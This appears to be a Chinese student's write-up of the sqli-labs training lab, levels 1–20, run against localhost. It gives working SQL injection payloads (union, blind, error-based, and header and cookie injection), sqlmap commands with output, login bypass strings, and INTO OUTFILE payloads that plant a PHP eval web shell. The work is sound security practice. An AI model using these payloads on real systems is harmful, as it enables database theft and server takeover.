0%

sqli-labs刷题

[TOC]

前言

花了两天时间,终于把sqli-lab前20关都刷完了!感觉之前只有朦胧的对sqli的印象,结果现在才知道我见过的只是get类型的union注入,最简单的那种(晕)。。。
了解和实践了很多注入手法,union,报错,延时,布尔…..前段时间面试实验室的时候其实还不了解就敢说自己懂(惭愧
《从0到1:CTFer成长之路》这本书我觉得很棒,希望能尽快看完!
我参考了很多师傅的wp以及相关文章,一并附在了文章结尾。那么,下面是我的题目总结,有一些没写或者简写,以及没有图片(还没想到怎样简化插入图片还能上传到网站的办法),如果观感不好请多担待。

sql注入基础思路

符号说明

运算符 类型 功能 标准性 适用场景
& 位运算符 按位与运算或字符串连接 非通用(依数据库) 二进制运算、特定数据库字符串拼接
&& 逻辑运算符 逻辑与运算(短路) 非标准(仅 MySQL) MySQL 环境简化代码
AND 逻辑运算符 逻辑与运算(短路) 标准 SQL 跨数据库兼容、复杂条件组合

类型判断

数字型:select * from table where id =$id
字符型:select * from table where id='$id'
加上'报错,再加上%23说明存在url注入点。

如果在id处输入3-1显示的结果和id=2是一致的,则是数字型,反之则是字符型

less-1&less-2

less-1

http://www.sqli-lab.cn/Less-1/?id=1输入id=1+1,若返回结果与id=2一致,则为数字型,否则为字符型。http://sqli-labs/Less-1/?id=1+1并未显示,说明是字符型。
爆表名http://localhost/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
爆列名http://localhost/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' %23
爆数据http://localhost/Less-1/?id=-1' union select 1,password,username from users %23

less-2

less-2同样验证后可知是数字型,后续做法一致。

less-3&less-4

less-3

less-3的闭合为')

less-4

less-3的闭合为")

less-5&less-6

less-5开始不再正常有回显了,但仍然有报错。

盲注中的相关函数:

  • left(a,b):返回字符串a中最左边的b个字符。
  • substr(a,b,c)`:从位置b开始截取a字符中的前c个字符。
  • ascii():ascii转换,a-z的ascii值:97-122

less-5

布尔盲注

首先测试到闭合为'闭合,开始布尔盲注
http://localhost/Less-5/?id=1' and length(database())=8 %23得知数据库名长度为8。

  1. 然后开始猜解数据库的名称:
    第一个字母http://localhost/Less-5/?id=1' and substr(database(),1,1)='s' %23
    第二个字母http://localhost/Less-5/?id=1' and substr(database(),2,1)='e' %23
    ……(以此类推)
    最终得到数据库名称为security
    (根据测试,输入错误函数会报错可直接得到当前库名:http://localhost/Less-5/?id=1' and subbstr(database(),1,1)='s' %23
  2. 猜解表名:
    第一个字母http://localhost/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e' %23
    第一个字段http://localhost/Less-5/?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,5)='email' %23

……
绵绵无期,是sqlmap登场的时候了!

sqlmap的使用

  • 爆表python E:\myCTFTools\WebTools\sqlmap\sqlmap.py -u "http://127.0.0.1/Less-5/?id=1" -D security --tables --batch --level=5
    --technique=B指定注入类型为布尔
    -D security指定库
    --tables爆表名
    --level=5等级为5

  • 爆列python E:\myCTFTools\WebTools\sqlmap\sqlmap.py -u "http://127.0.0.1/Less-5/?id=1" -D security -T emails --columns --batch --level=5

  • 数据python E:\myCTFTools\WebTools\sqlmap\sqlmap.py -u "http://127.0.0.1/Less-5/?id=1" -D security -T emails -C "usename,password" --dump --batch --level=5

报错注入

也可以使用报错注入

1
http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1) %23

回显XPATH syntax error: '~security~'

1
http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23

回显XPATH syntax error: '~emails,referers,uagents,users~'

1
http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),0x7e),1) %23

回显XPATH syntax error: '~id,username,password~'

1
http://localhost/Less-5/?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,':',password)) FROM users),1,32),0x7e),1) %23

less-6

同less-5,闭合方式不同。

less-7 into outlife&less-8

less-7

常见闭合:

'$id'
"$id"
('$id')
("$id")
(('id'))

测试为(('id'))闭合,into outlife写马连接,http://localhost/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['cmd']) ?>" INTO OUTFILE "E:/myCTFTools/range/sqli-labs/Less-7/shell.php" %23
不过在写入之前需要在mysql目录下的my.ini中加上secure_file_priv='\'开启写入权限。

less-8

同less-7

less-9 回显相同,时间盲注

less-10 同less-9,闭合不同

less-11 登录框 万能密码

admin' or 1=1 %23

直接在uname参数之后加上%23将后面注释掉,然后在那之后注入即可,步骤同less-1。

less-12

测试闭合为:passwd=admin&submit=Submit&uname=admin") %23
然后同less-11思路一致。

less-13

测试闭合为:admin')
但是只有报错,正确时无回显,所以判断为时间盲注或布尔盲注。

less-14

测试闭合为:admin"

less-15

测试闭合为:admin'
既无正确回显,也无报错。只能看出是否登陆成功。(时间,布尔,写马?(可,参考less-7 payload: passwd=admin&submit=Submit&uname=-1' union select 1,"<?php @eval($_POST['cmd']) ?>" INTO OUTFILE "E:/myCTFTools/range/sqli-labs/Less-15/shell.php" %23))

less-16

测试闭合为:passwd=admin&submit=Submit&uname=admin") %23
(时间,布尔,写马)

less-17 (修改密码界面 update注入点)

参数:passwd=admin&submit=Submit&uname=admin
修改密码想到后端会用到updete函数,查看源码果真如此,

1
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

爆表名
payload为:

1
passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin

时总是报错为:Truncated incorrect DOUBLE value: 'admin'这是因为updatexml()会返回布尔值为double类型,同时会把前面的admin强转为double失败导致报错。
改为1':

1
passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin

则是成功的。
爆字段

1
passwd=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema='security'),0x7e),1) %23&submit=Submit&uname=admin

爆数据

1
passwd=1' and updatexml(1,concat(0x7e,(select concat(password,':',username) from users),0x7e),1) %23&submit=Submit&uname=admin

此时会抛出错误:You can't specify target table 'users' for update in FROM clause这是因为在原语句中已经正在使用这张表了,而子查询中的SELECT ... FROM users也引用了同一张表,导致MySQL拒绝执行。
此时只需要用AS大法即可!

1
passwd=1' and updatexml(1,concat(0x7e,(select group_concat(concat(password,':',username)) from (select * from users) AS a),0x7e),1) %23&submit=Submit&uname=admin

但是会发现显示不全。这时就应该用相关函数分段显示了,substr(), mid(),left(), right()……等都可以。
示例:

1
updatexml(1,concat(0x7e,substr((select group_concat(concat(username,':',password)) FROM (SELECT * FROM users) AS a),1,32),0x7e),1) %23

我尝试了用sqlmap来dump下来less-17的users表,但是失败了,这是为什么?(不太清楚,要么是无数据,要么是空表)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[18:28:38] [INFO] adjusting time delay to 2 seconds due to good response times
3
Database: security
Table: users
[13 entries]
+------+----------+----------+
| id | password | username |
+------+----------+----------+
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
| NULL | NULL | NULL |
+------+----------+----------+

[18:28:41] [INFO] table '`security`.users' dumped to CSV file 'C:\Users\Lenovo\AppData\Local\sqlmap\output\127.0.0.1\dump\security\users.csv'
[18:28:41] [INFO] fetched data logged to text files under 'C:\Users\Lenovo\AppData\Local\sqlmap\output\127.0.0.1'

[*] ending @ 18:28:41 /2025-03-16/


E:\myCTFTools\WebTools\sqlmap>

less-18(报错,延时盲注 User-Agent注入点)

PHP 里用来获取客户端 IP 的变量

1
2
3
$_SERVER['HTTP_CLIENT_IP'] #这个很少使用,不一定服务器都实现了。客户端可以伪造。
$_SERVER['HTTP_X_FORWARDED_FOR'] #客户端可以伪造。
$_SERVER['REMOTE_ADDR'] #客户端不能伪造。

User-Agent: 1'报错
看到报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1
推测有三个值,构造如下:

1
User-Agent: 1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))  #

less-19(报错,延时盲注 Referer注入点)

1
Referer: 1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #

less-20(报错,延时盲注 Cookie注入点)

1
Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #

参考文章:
https://www.anquanke.com/post/id/266244
https://www.cnblogs.com/-qing-/p/11610385.html
从0到1:CTFer成长之路(其中的sqli部分)
sqli-labs-less-5布尔盲注+错误注入(超详细,小白专属)
Sqlmap使用教程【个人笔记精华整理】
SQLI-LABS(Less-7)
sqli-labs less-7 一句话木马
最适合POST型SQL注入小白之sqli-labs靶场(less-17~less-21:POST手动注入和sqlmap自动注入)
sqli-labs 靶场 1-65 通关记
sqli-labs 通关指南:Less 18、19